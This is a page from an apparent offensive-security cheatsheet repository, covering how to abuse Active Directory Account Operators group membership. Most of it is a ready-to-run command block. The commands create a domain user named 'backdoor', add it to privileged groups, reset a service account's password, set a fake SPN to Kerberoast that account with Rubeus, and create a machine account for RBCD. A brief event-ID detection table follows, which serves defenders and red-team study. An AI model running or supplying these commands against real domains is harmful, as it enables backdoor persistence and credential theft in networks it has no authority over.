repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-50-abusing-account-operators-group.mdMarkdown77 lines3.0 KiBsource raw download

title: "Attack #50 โ€” Abusing Account Operators Group" description: "net user backdoor P@ssword123! /add /domain" category: active-directory subcategory: "Privilege & Group Abuse" tags: ["active-directory", "kerberos", "sql-injection", "pivoting"] tools: ["Rubeus", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Six/๐ŸŸฃ Attack #50 โ€” Abusing Account Operators Group.md"#

๐ŸŸฃ Attack #50 โ€” Abusing Account Operators Group#


๐Ÿ“– How It Works#

Account Operators can create, modify, and delete most user and group accounts in the domain (excluding protected admin accounts). They can also log on to Domain Controllers locally. An Account Operator can create a new user and add it to non-protected groups, modify existing service accounts, or reset passwords on non-admin users to pivot deeper.


โš™๏ธ Prerequisites#

Requirement Detail
Membership in Account Operators Can manage most domain accounts

๐Ÿ’ป Full Commands#

# โ”€โ”€ Create new user โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
net user backdoor P@ssword123! /add /domain

# โ”€โ”€ Add to groups (non-protected) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
net group "SQL Admins" backdoor /add /domain
net group "Remote Desktop Users" backdoor /add /domain
# โš ๏ธ Cannot add to DA/EA/Schema Admins (protected by AdminSDHolder)

# โ”€โ”€ Reset non-admin user passwords โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
net user svc_backup NewP@ss123! /domain

# โ”€โ”€ Modify service accounts (set SPN for Kerberoasting) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Set-DomainObject -Identity svc_target -Set @{serviceprincipalname='fake/kerbroast'}
.\Rubeus.exe kerberoast /user:svc_target

# โ”€โ”€ Create computer account (bypass MAQ) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
New-ADComputer -Name "FAKE01" -SamAccountName "FAKE01$" -Enabled $true

๐Ÿ›ก๏ธ Detection โ€” Event IDs#

Event ID Source What to Look For
4720 Security Log (DC) User account created
4728/4732 Security Log (DC) User added to group
4724 Security Log (DC) Password reset

๐Ÿ”— Attack Chain Context#

[Account Operators] โ”€โ”€โ†’ Create/modify accounts โ†’ pivot deeper
         โ”‚
         โ”œโ”€โ”€โ†’ ๐Ÿ”‘ Reset service account passwords โ†’ access databases/services
         โ”œโ”€โ”€โ†’ ๐ŸŽซ Set SPNs โ†’ targeted Kerberoasting (#2)
         โ”œโ”€โ”€โ†’ ๐Ÿ’ป Create computer accounts โ†’ RBCD (#17)
         โ””โ”€โ”€โ†’ ๐Ÿ’€ Defeated by: minimize Account Operators membership

โœ… Attack #50 โ€” Account Operators complete.